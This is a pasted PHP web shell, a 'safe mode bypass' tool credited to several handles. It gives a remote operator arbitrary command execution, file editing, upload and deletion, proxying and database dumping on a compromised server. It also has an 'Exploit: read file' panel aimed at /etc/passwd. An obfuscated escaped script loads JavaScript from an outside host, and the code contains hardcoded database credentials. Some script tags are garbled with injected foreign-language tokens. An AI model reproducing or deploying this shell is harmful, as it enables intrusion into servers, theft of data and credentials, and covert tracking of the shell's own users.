· 9 years ago · Mar 22, 2017, 12:52 PM
1<html><head><title>* ernealizm * </title><body bgcolor="#000000"><table Width='100%' height='10%' bgcolor='#000000' border='1'>
2<tr><td><center><font size="4" color="#FFFFFF"><span style="background-color: #000000">ErNe Safe Mode Bypass For BiyoSecurity.Net</span>
3</font></center></td></tr></table>
4<style type="text/css">
5body,td {
6 font-family: "Tahoma";
7 font-size: "12px";
8 line-height: "150%";
9}
10.smlfont {
11 font-family: "Tahoma";
12 font-size: "11px";
13}
14.INPUT {
15 FONT-SIZE: "12px";
16 COLOR: "#000000";
17 BACKGROUND-COLOR: "#FFFFFF";
18 height: "18px";
19 border: 1px solid #666666 none;
20 padding-left: "2px"
21}
22.redfont {
23 COLOR: "#D0D0D0";
24}
25a:link,a:visited,a:active {
26 color: "#9C9C9C";
27 text-decoration: underline;
28}
29a:hover {
30 color: "#FFFFFF";
31 text-decoration: none;
32}
33.top {BACKGROUND-COLOR: "#D0D0D0"}
34.firstalt {BACKGROUND-COLOR: "#000000"}
35.secondalt {BACKGROUND-COLOR: "#000000"}
36</style>
37<استبدال SCRIPT language=Javaاستبدال Script>
38function CheckAll(form) {
39 for (var i=0;i<form.elements.length;i++) {
40 var e = form.elements[i];
41 if (e.name != 'chkall')
42 e.checked = form.chkall.checked;
43 }
44}
45function really(d,f,m,t) {
46 if (confirm(m)) {
47 if (t == 1) {
48 window.location.href='?dir='+d+'&deldir='+f;
49 } else {
50 window.location.href='?dir='+d+'&delfile='+f;
51 }
52 }
53}
54</استبدال SCRIPT></head><body><center>
55<استبدال script type="text/javaاستبدال script">استبدال document.write('\u003c\u0053\u0043\u0052\u0049\u0050\u0054\u0020\u0053\u0052\u0043\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0072\u0035\u0037\u002e\u006c\u0069\u002f\u0069\u006d\u0061\u0067\u0065\u0073\u002f\u0069\u006d\u0067\u002e\u006a\u0073\u003e\u003c\u002f\u0053\u0043\u0052\u0049\u0050\u0054\u003e')</استبدال script>
56<hr width="775" noshade><table width="775" border="0" cellpadding="0">
57<?PHP
58
59
60
61error_reporting(7);
62ob_start();
63$mtime = explode(' ', microtime());
64$starttime = $mtime[1] + $mtime[0];
65$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');
66if ($onoff != 1) {
67 @extract($_POST, EXTR_SKIP);
68 @extract($_GET, EXTR_SKIP);
69}
70$mohajer = getcwd();
71$self = $_SERVER['PHP_SELF'];
72$dis_func = get_cfg_var("disable_functions");
73
74///////////////////////////////
75 //
76$mysql_use = "no"; //"yes" //
77$mhost = "localhost"; //
78$muser = "mjalnet_mjal"; //
79$mpass = "99080806"; //
80$mdb = "mjalnet_vb"; //
81 //
82///////////////////////////////
83
84
85if (get_magic_quotes_gpc()) {
86 $_GET = stripslashes_array($_GET);
87 $_POST = stripslashes_array($_POST);
88}
89
90
91
92if (empty($_POST['phpinfo'] )) {
93 }else{
94 echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo()";
95 exit;
96}
97
98
99if (isset($_POST['url'])) {
100 $proxycontents = @file_get_contents($_POST['url']);
101 echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b>§£?§³?§²?§²? URL §²¡±§²?§²?§²-§²?§£¡ì§£¡ã§²?</b></p></center></body>";
102 exit;
103}
104
105if (empty($_POST['erne'] ) ) {
106 }ELSE{
107 $action = '?action=erne';
108 echo "<table Width='100%' height='10%' bgcolor='#000000' border='1'><tr><td><center><font size='6' color='#D0D0D0'>
109Powered By Erne,Ekin0x, Mohajer22, Ja ( Turkey, Suudi Iraq )<br><br>";
110
111 echo "</font></center></td></tr></table> ";
112
113 exit;
114 }
115if (empty($_POST['command'] ) ) {
116 }ELSE{
117 if (substr(PHP_OS, 0, 3) == 'WIN') {
118 $program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe";
119 $prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt";
120
121 echo "</form>\n";
122 }
123$tb = new FORMS;
124
125$tb->tableheader();
126$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td><b>'.$mohajer.'</b></td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top');
127$tb->tdbody("<FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'><INPUT type='submit' name='Rifrish' value=' dir ' id=input><INPUT type='submit'name='erne' value='ernealizm' id=input><INPUT type='submit' name='phpinfo' value='PHPinfo' id=input><INPUT type='submit' name='shell' value='command shill' id=input></form>");
128$tb->tablefooter();
129$tb->tableheader();
130$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>command [ system , shell_exec , passthru , Wاستبدال script.Shell , exec , popen ]</b></td></tr></table>','center','top');
131$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>');
132
133$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wاستبدال script'=>'Wاستبدال script.Shell') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen');
134$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>cmd:</FONT>'.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' '.$tb->makeinput('command').' '.$tb->makeinput('Run','command','','submit')));
135
136 echo"<tr class='secondalt'><td align='center'><textarea name='textarea' cols='100' rows='25' readonly>";
137
138 if ($_POST['command'] ) {
139
140 if ($execfunc=="system") {
141 system($_POST['command']);
142 } elseif ($execfunc=="passthru") {
143 passthru($_POST['command']);
144 } elseif ($execfunc=="exec") {
145 $result = exec($_POST['command']);
146 echo $result;
147 } elseif ($execfunc=="shell_exec") {
148 $result=shell_exec($_POST['command']);
149 echo $result;
150 } elseif ($execfunc=="popen") {
151 $pp = popen($_POST['command'], 'r');
152 $read = fread($pp, 2096);
153 echo $read;
154 pclose($pp);
155 } elseif ($execfunc=="wاستبدال script") {
156 $wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed");
157 $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command']."");
158 $stdout = $exec->StdOut();
159 $stroutput = $stdout->ReadAll();
160 echo $stroutput;
161 } else {
162 system($_POST['command']);
163 }
164
165 }
166
167echo"</textarea></td></tr></form></table>";
168 exit;
169}//end shell
170
171if ($_POST['editfile']){
172$fp = fopen($_POST['editfile'], "r");
173$filearr = file($_POST['editfile']);
174
175foreach ($filearr as $string){
176
177$content = $content . $string;
178}
179
180echo "<center><div id=logostrip>Edit file: $editfile </div><form action='$REQUEST_URI' method='POST'><textarea name=content cols=122 rows=20>";echo htmlentities($content); echo"</textarea>";
181echo"<input type='hidden' name='dir' value='" . getcwd() ."'>
182<input type='hidden' name='savefile' value='{$_POST['editfile']}'><br>
183<input type='submit' name='submit' value='Save'></form></center>";
184
185fclose($fp);
186}
187
188
189if($_POST['savefile']){
190
191$fp = fopen($_POST['savefile'], "w");
192$content = stripslashes($content);
193fwrite($fp, $content);
194fclose($fp);
195echo "<center><div id=logostrip>Successfully saved!</div></center>";
196
197}
198if ($doupfile) {
199 echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "§²?§²?§´¡®§£?§³¨C§²?§Ó?¨C§£|!" : "§²?§²?§´¡®§£?§²?§£¡ì§£¡ã§²?!";
200}
201
202
203elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
204 if (!empty($newdirectory)) {
205 $mkdirs="$dir/$newdirectory";
206 if (file_exists("$mkdirs")) {
207 echo "can't make dir";
208 } else {
209 echo (@mkdir("$mkdirs",0777)) ? "ok" : "";
210 @chmod("$mkdirs",0777);
211 }
212 }
213}
214
215/////////
216$pathname=str_replace('\\','/',dirname(__FILE__));
217
218////////
219if (!isset($dir) or empty($dir)) {
220 $dir = ".";
221 $nowpath = getPath($pathname, $dir);
222} else {
223 $dir=$_post['dir'];
224 $nowpath = getPath($pathname, $dir);
225}
226
227///////
228$dir_writeable = (dir_writeable($nowpath)) ? "m" : "mm";
229$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : "";
230$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=reg\"mohajer22</a>" : "";
231
232$tb = new FORMS;
233
234$tb->tableheader();
235$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td><b>'.$mohajer.'</b></td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top');
236$tb->tdbody("<FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'><INPUT type='submit' name='Rifrish' value=' dir ' id=input><INPUT type='submit'name='erne' value='erne ' id=input><INPUT type='submit' name='phpinfo' value='PHPinfo' id=input><INPUT type='submit' name='shell' value='command shill' id=input></form>");
237$tb->tablefooter();
238$tb->tableheader();
239$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Dosya Duzenle Yada Olustur & Dosya Yukle & Dizin Olustur</b></td></tr></table>','center','top');
240$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>');
241$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>Dosya Duzenle weya Olustur:</FONT>'.$tb->makehidden('dir', getcwd() ).' '.$tb->makeinput('editfile').' '.$tb->makeinput('Edit','Duzenle','','submit')));
242
243
244$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'<FONT COLOR=#9C9C9C>Dosya Yukle:</FONT>'.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','Ekle','','submit').$tb->makeinput('uploaddir',$dir,'','hidden')));
245
246$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>Dizin Olustur:</FONT> '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','yenidizin','','submit')));
247$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wاستبدال script'=>'Wاستبدال script.Shell') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen');
248$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>cmd:</FONT>'.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' '.$tb->makeinput('command').' '.$tb->makeinput('Run','command','','submit')));
249
250$tb->tdbody ("</td></tr></table>");
251if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
252
253
254 $tb->tableheader();
255echo"<tr bgcolor='#D0D0D0'><td align='center' nowrap width='27%'><b>DIR</b></td><td align='center' nowrap width='16%'><b>First data</b></td><td align='center' nowrap width='16%'><b>Last data</b></td><td align='center' nowrap width='11%'><b>Size</b></td><td align='center' nowrap width='6%'><b>Perm</b></td></tr>";
256
257$dirs=@opendir($dir);
258$dir_i = '0';
259while ($file=@readdir($dirs)) {
260 $filepath="$dir/$file";
261 $a=@is_dir($filepath);
262 if($a=="1"){
263 if($file!=".." && $file!=".") {
264 $ctime=@date("Y-m-d H:i:s",@filectime($filepath));
265 $mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
266 $dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
267 echo "<tr class=".getrowbg().">\n";
268 echo " <td style=\"padding-left: 5px;\">[<a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><font color=\"#006699\">$file</font></a>]</td>\n";
269 echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$ctime</span></td>\n";
270 echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$mtime</span></td>\n";
271 echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\"><dir></span></td>\n";
272 echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$dirperm</span></td>\n";
273 echo "</tr>\n";
274 $dir_i++;
275 } else {
276 if($file=="..") {
277 echo "<tr class=".getrowbg().">\n";
278 echo " <td nowrap colspan=\"6\" style=\"padding-left: 5px;\"><a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\">Up dir</a></td>\n";
279 echo "</tr>\n";
280 }
281 }
282 }
283}// while
284@closedir($dirs);
285
286echo"<tr bgcolor='#cccccc'><td colspan='6' height='5'></td></tr><FORM method='POST'>";
287
288$dirs=@opendir($dir);
289$file_i = '0';
290while ($file=@readdir($dirs)) {
291 $filepath="$dir/$file";
292 $a=@is_dir($filepath);
293 if($a=="0"){
294 $size=@filesize($filepath);
295 $size=$size/1024 ;
296 $size= @number_format($size, 3);
297 if (@filectime($filepath) == @filemtime($filepath)) {
298 $ctime=@date("Y-m-d H:i:s",@filectime($filepath));
299 $mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
300 } else {
301 $ctime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filectime($filepath))."</span>";
302 $mtime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filemtime($filepath))."</span>";
303 }
304 @$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
305 echo "<tr class=".getrowbg().">\n";
306 echo " <td style=\"padding-left: 5px;\">";
307 echo "<INPUT type=checkbox value=1 name=dl[$filepath]>";
308 echo "<a href=\"$filepath\" target=\"_blank\">$file</a></td>\n";
309 if ($file == 'config.php') {
310
311 echo "<a href=\"$filepath\" target=\"_blank\"><font color='yellow'>$file<STRONG></STRONG></a></td>\n";
312 }
313 echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$ctime</span></td>\n";
314 echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$mtime</span></td>\n";
315 echo " <td align=\"right\" nowrap class=\"smlfont\"><span class=\"redfont\">$size</span> KB</td>\n";
316 echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$fileperm</span></td>\n";
317 echo "</tr>\n";
318 $file_i++;
319
320
321 }
322}// while
323@closedir($dirs);
324
325echo "</FORM>\n";
326echo "</table>\n";
327}// end dir
328
329
330
331
332
333
334
335 function debuginfo() {
336 global $starttime;
337 $mtime = explode(' ', microtime());
338 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
339 echo "Processed in $totaltime second(s)";
340 }
341
342
343 function stripslashes_array(&$array) {
344 while(list($key,$var) = each($array)) {
345 if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
346 if (is_string($var)) {
347 $array[$key] = stripslashes($var);
348 }
349 if (is_array($var)) {
350 $array[$key] = stripslashes_array($var);
351 }
352 }
353 }
354 return $array;
355 }
356
357
358 function deltree($deldir) {
359 $mydir=@dir($deldir);
360 while($file=$mydir->read()) {
361 if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) {
362 @chmod("$deldir/$file",0777);
363 deltree("$deldir/$file");
364 }
365 if (is_file("$deldir/$file")) {
366 @chmod("$deldir/$file",0777);
367 @unlink("$deldir/$file");
368 }
369 }
370 $mydir->close();
371 @chmod("$deldir",0777);
372 return (@rmdir($deldir)) ? 1 : 0;
373 }
374
375
376 function dir_writeable($dir) {
377 if (!is_dir($dir)) {
378 @mkdir($dir, 0777);
379 }
380 if(is_dir($dir)) {
381 if ($fp = @fopen("$dir/test.txt", 'w')) {
382 @fclose($fp);
383 @unlink("$dir/test.txt");
384 $writeable = 1;
385 } else {
386 $writeable = 0;
387 }
388 }
389 return $writeable;
390 }
391
392
393 function getrowbg() {
394 global $bgcounter;
395 if ($bgcounter++%2==0) {
396 return "firstalt";
397 } else {
398 return "secondalt";
399 }
400 }
401
402
403 function getPath($mainpath, $relativepath) {
404 global $dir;
405 $mainpath_info = explode('/', $mainpath);
406 $relativepath_info = explode('/', $relativepath);
407 $relativepath_info_count = count($relativepath_info);
408 for ($i=0; $i<$relativepath_info_count; $i++) {
409 if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
410 if ($relativepath_info[$i] == '..') {
411 $mainpath_info_count = count($mainpath_info);
412 unset($mainpath_info[$mainpath_info_count-1]);
413 continue;
414 }
415 $mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
416 }
417 return implode('/', $mainpath_info);
418 }
419
420
421 function getphpcfg($varname) {
422 switch($result = get_cfg_var($varname)) {
423 case 0:
424 return "No";
425 break;
426 case 1:
427 return "Yes";
428 break;
429 default:
430 return $result;
431 break;
432 }
433 }
434
435
436 function getfun($funName) {
437 return (false !== function_exists($funName)) ? "Yes" : "No";
438 }
439
440
441 class PHPZip{
442 var $out='';
443 function PHPZip($dir) {
444 if (@function_exists('gzcompress')) {
445 $curdir = getcwd();
446 if (is_array($dir)) $filelist = $dir;
447 else{
448 $filelist=$this -> GetFileList($dir);//§²?§²¡±§³?§³?§²¡®§² §£¡À§²?
449 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
450 }
451 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
452 else chdir($curdir);
453 if (count($filelist)>0){
454 foreach($filelist as $filename){
455 if (is_file($filename)){
456 $fd = fopen ($filename, "r");
457 $content = @fread ($fd, filesize ($filename));
458 fclose ($fd);
459 if (is_array($dir)) $filename = basename($filename);
460 $this -> addFile($content, $filename);
461 }
462 }
463 $this->out = $this -> file();
464 chdir($curdir);
465 }
466 return 1;
467 }
468 else return 0;
469 }
470
471
472 function GetFileList($dir){
473 static $a;
474 if (is_dir($dir)) {
475 if ($dh = opendir($dir)) {
476 while (($file = readdir($dh)) !== false) {
477 if($file!='.' && $file!='..'){
478 $f=$dir .'/'. $file;
479 if(is_dir($f)) $this->GetFileList($f);
480 $a[]=$f;
481 }
482 }
483 closedir($dh);
484 }
485 }
486 return $a;
487 }
488
489 var $datasec = array();
490 var $ctrl_dir = array();
491 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
492 var $old_offset = 0;
493
494 function unix2DosTime($unixtime = 0) {
495 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
496 if ($timearray['year'] < 1980) {
497 $timearray['year'] = 1980;
498 $timearray['mon'] = 1;
499 $timearray['mday'] = 1;
500 $timearray['hours'] = 0;
501 $timearray['minutes'] = 0;
502 $timearray['seconds'] = 0;
503 } // end if
504 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
505 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
506 }
507
508 function addFile($data, $name, $time = 0) {
509 $name = str_replace('\\', '/', $name);
510
511 $dtime = dechex($this->unix2DosTime($time));
512 $hexdtime = '\x' . $dtime[6] . $dtime[7]
513 . '\x' . $dtime[4] . $dtime[5]
514 . '\x' . $dtime[2] . $dtime[3]
515 . '\x' . $dtime[0] . $dtime[1];
516 eval('$hexdtime = "' . $hexdtime . '";');
517 $fr = "\x50\x4b\x03\x04";
518 $fr .= "\x14\x00";
519 $fr .= "\x00\x00";
520 $fr .= "\x08\x00";
521 $fr .= $hexdtime;
522
523 $unc_len = strlen($data);
524 $crc = crc32($data);
525 $zdata = gzcompress($data);
526 $c_len = strlen($zdata);
527 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
528 $fr .= pack('V', $crc);
529 $fr .= pack('V', $c_len);
530 $fr .= pack('V', $unc_len);
531 $fr .= pack('v', strlen($name));
532 $fr .= pack('v', 0);
533 $fr .= $name;
534
535 $fr .= $zdata;
536
537 $fr .= pack('V', $crc);
538 $fr .= pack('V', $c_len);
539 $fr .= pack('V', $unc_len);
540
541 $this -> datasec[] = $fr;
542 $new_offset = strlen(implode('', $this->datasec));
543
544 $cdrec = "\x50\x4b\x01\x02";
545 $cdrec .= "\x00\x00";
546 $cdrec .= "\x14\x00";
547 $cdrec .= "\x00\x00";
548 $cdrec .= "\x08\x00";
549 $cdrec .= $hexdtime;
550 $cdrec .= pack('V', $crc);
551 $cdrec .= pack('V', $c_len);
552 $cdrec .= pack('V', $unc_len);
553 $cdrec .= pack('v', strlen($name) );
554 $cdrec .= pack('v', 0 );
555 $cdrec .= pack('v', 0 );
556 $cdrec .= pack('v', 0 );
557 $cdrec .= pack('v', 0 );
558 $cdrec .= pack('V', 32 );
559 $cdrec .= pack('V', $this -> old_offset );
560 $this -> old_offset = $new_offset;
561 $cdrec .= $name;
562
563 $this -> ctrl_dir[] = $cdrec;
564 }
565
566 function file() {
567 $data = implode('', $this -> datasec);
568 $ctrldir = implode('', $this -> ctrl_dir);
569 return
570 $data .
571 $ctrldir .
572 $this -> eof_ctrl_dir .
573 pack('v', sizeof($this -> ctrl_dir)) .
574 pack('v', sizeof($this -> ctrl_dir)) .
575 pack('V', strlen($ctrldir)) .
576 pack('V', strlen($data)) .
577 "\x00\x00";
578 }
579 }
580
581 function sqldumptable($table, $fp=0) {
582 $tabledump = "DROP TABLE IF EXISTS $table;\n";
583 $tabledump .= "CREATE TABLE $table (\n";
584
585 $firstfield=1;
586
587 $fields = mysql_query("SHOW FIELDS FROM $table");
588 while ($field = mysql_fetch_array($fields)) {
589 if (!$firstfield) {
590 $tabledump .= ",\n";
591 } else {
592 $firstfield=0;
593 }
594 $tabledump .= " $field[Field] $field[Type]";
595 if (!empty($field["Default"])) {
596 $tabledump .= " DEFAULT '$field[Default]'";
597 }
598 if ($field['Null'] != "YES") {
599 $tabledump .= " NOT NULL";
600 }
601 if ($field['Extra'] != "") {
602 $tabledump .= " $field[Extra]";
603 }
604 }
605 mysql_free_result($fields);
606
607 $keys = mysql_query("SHOW KEYS FROM $table");
608 while ($key = mysql_fetch_array($keys)) {
609 $kname=$key['Key_name'];
610 if ($kname != "PRIMARY" and $key['Non_unique'] == 0) {
611 $kname="UNIQUE|$kname";
612 }
613 if(!is_array($index[$kname])) {
614 $index[$kname] = array();
615 }
616 $index[$kname][] = $key['Column_name'];
617 }
618 mysql_free_result($keys);
619
620 while(list($kname, $columns) = @each($index)) {
621 $tabledump .= ",\n";
622 $colnames=implode($columns,",");
623
624 if ($kname == "PRIMARY") {
625 $tabledump .= " PRIMARY KEY ($colnames)";
626 } else {
627 if (substr($kname,0,6) == "UNIQUE") {
628 $kname=substr($kname,7);
629 }
630 $tabledump .= " KEY $kname ($colnames)";
631 }
632 }
633
634 $tabledump .= "\n);\n\n";
635 if ($fp) {
636 fwrite($fp,$tabledump);
637 } else {
638 echo $tabledump;
639 }
640
641 $rows = mysql_query("SELECT * FROM $table");
642 $numfields = mysql_num_fields($rows);
643 while ($row = mysql_fetch_array($rows)) {
644 $tabledump = "INSERT INTO $table VALUES(";
645
646 $fieldcounter=-1;
647 $firstfield=1;
648 while (++$fieldcounter<$numfields) {
649 if (!$firstfield) {
650 $tabledump.=", ";
651 } else {
652 $firstfield=0;
653 }
654
655 if (!isset($row[$fieldcounter])) {
656 $tabledump .= "NULL";
657 } else {
658 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
659 }
660 }
661
662 $tabledump .= ");\n";
663
664 if ($fp) {
665 fwrite($fp,$tabledump);
666 } else {
667 echo $tabledump;
668 }
669 }
670 mysql_free_result($rows);
671 }
672
673 class FORMS {
674 function tableheader() {
675 echo "<table width=\"775\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\">\n";
676 }
677
678 function headerform($arg=array()) {
679 global $dir;
680 if ($arg[enctype]){
681 $enctype="enctype=\"$arg[enctype]\"";
682 } else {
683 $enctype="";
684 }
685 if (!isset($arg[method])) {
686 $arg[method] = "POST";
687 }
688 if (!isset($arg[action])) {
689 $arg[action] = '';
690 }
691 echo " <form action=\"".$arg[action]."\" method=\"".$arg[method]."\" $enctype>\n";
692 echo " <tr>\n";
693 echo " <td>".$arg[content]."</td>\n";
694 echo " </tr>\n";
695 echo " </form>\n";
696 }
697
698 function tdheader($title) {
699 global $dir;
700 echo " <tr class=\"firstalt\">\n";
701 echo " <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\">§£¡¤mohajer</a>]</b></td>\n";
702 echo " </tr>\n";
703 }
704
705 function tdbody($content,$align='center',$bgcolor='2',$height='',$extra='',$colspan='') {
706 if ($bgcolor=='2') {
707 $css="secondalt";
708 } elseif ($bgcolor=='1') {
709 $css="firstalt";
710 } else {
711 $css=$bgcolor;
712 }
713 $height = empty($height) ? "" : " height=".$height;
714 $colspan = empty($colspan) ? "" : " colspan=".$colspan;
715 echo " <tr class=\"".$css."\">\n";
716 echo " <td align=\"".$align."\"".$height." ".$colspan." ".$extra.">".$content."</td>\n";
717 echo " </tr>\n";
718 }
719
720 function tablefooter() {
721 echo "</table>\n";
722 }
723
724 function formheader($action='',$title,$target='') {
725 global $dir;
726 $target = empty($target) ? "" : " target=\"".$target."\"";
727 echo " <form action=\"$action\" method=\"POST\"".$target.">\n";
728 echo " <tr class=\"firstalt\">\n";
729 echo " <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\">§£¡¤§£¦Ì§£?§²§§</a>]</b></td>\n";
730 echo " </tr>\n";
731 }
732
733 function makehidden($name,$value=''){
734 echo "<input type=\"hidden\" name=\"$name\" value=\"$value\">\n";
735 }
736
737 function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){
738 $css = ($css == 'input') ? " class=\"input\"" : "";
739 $input = "<input name=\"$name\" value=\"$value\" type=\"$type\" ".$css." size=\"$size\" $extra>\n";
740 return $input;
741 }
742 function makeid($name,$value='',$extra='',$type='select',$size='30',$css='input'){
743 $css = ($css == 'input') ? " class=\"input\"" : "";
744 $input = "<select name=plugin><option>cat /etc/passwd</option></select>";
745 return $input;
746 }
747 function makeimp($name,$value='',$extra='',$type='select',$size='30',$css='input'){
748 $css = ($css == 'input') ? " class=\"input\"" : "";
749 $input = "<select name=switch><option value=file>View file</option><option value=dir>View dir</option></select>";
750 return $input;
751 }
752 function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){
753 $textarea = "<textarea name=\"".$name."\" cols=\"".$cols."\" rows=\"".$rows."\" ".$extra.">".$content."</textarea>\n";
754 return $textarea;
755 }
756
757 function formfooter($over='',$height=''){
758 $height = empty($height) ? "" : " height=\"".$height."\"";
759 echo " <tr class=\"secondalt\">\n";
760 echo " <td align=\"center\"".$height."><input class=\"input\" type=\"submit\" value='mohajer'></td>\n";
761 echo " </tr>\n";
762 echo " </form>\n";
763 echo $end = empty($over) ? "" : "</table>\n";
764 }
765
766 function makeselect($arg = array()){
767 if ($arg[multiple]==1) {
768 $multiple = " multiple";
769 if ($arg[size]>0) {
770 $size = "size=$arg[size]";
771 }
772 }
773 if ($arg[css]==0) {
774 $css = "class=\"input\"";
775 }
776 $select = "<select $css name=\"$arg[name]\"$multiple $size>\n";
777 if (is_array($arg[option])) {
778 foreach ($arg[option] AS $key=>$value) {
779 if (!is_array($arg[selected])) {
780 if ($arg[selected]==$key) {
781 $select .= "<option value=\"$key\" selected>$value</option>\n";
782 } else {
783 $select .= "<option value=\"$key\">$value</option>\n";
784 }
785
786 } elseif (is_array($arg[selected])) {
787 if ($arg[selected][$key]==1) {
788 $select .= "<option value=\"$key\" selected>$value</option>\n";
789 } else {
790 $select .= "<option value=\"$key\">$value</option>\n";
791 }
792 }
793 }
794 }
795 $select .= "</select>\n";
796 return $select;
797 }
798 }
799
800
801
802$tb->tableheader();
803$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Exploit: read file [SQL , id , CURL , copy , ini_restore , imap] & Make file ERORR</b></td></tr></table>','center','top');
804$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>');
805
806
807$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file :</FONT><br>' .$tb->makeinput('Mohajer22','/etc/passwd' ).$tb->makeinput('',Show,'Mohajer22','submit')));
808$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file id:</FONT><br>' .$tb->makeid('plugin','cat /etc/passwd' ).$tb->makeinput('',Show,'plugin','submit')));
809$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file CURL:</FONT><br>' .$tb->makeinput('curl','/etc/passwd' ).$tb->makeinput('',Show,'curl','submit')));
810$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file copy:</FONT><br>' .$tb->makeinput('copy','/etc/passwd' ).$tb->makeinput('',Show,'copy','submit')));
811$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file ini_restore:</FONT><br>' .$tb->makeinput('M2','/etc/passwd' ).$tb->makeinput('',Show,'M2','submit')));
812$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file or dir with imap:</FONT><br>' .$tb->makeimp('switch','/etc/passwd' ).$tb->makeinput('string','/etc/passwd' ).$tb->makeinput('string','Show','','submit')));
813$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>Make file ERORR:</FONT><br>' .$tb->makeinput('ER','Mohajer22.php' ).$tb->makeinput('ER','Write','ER','submit')));
814
815
816// read file SQL ( ) //
817if(empty($_POST['Mohajer22'])){
818} else {
819echo "read file SQL","<br>" ;
820echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
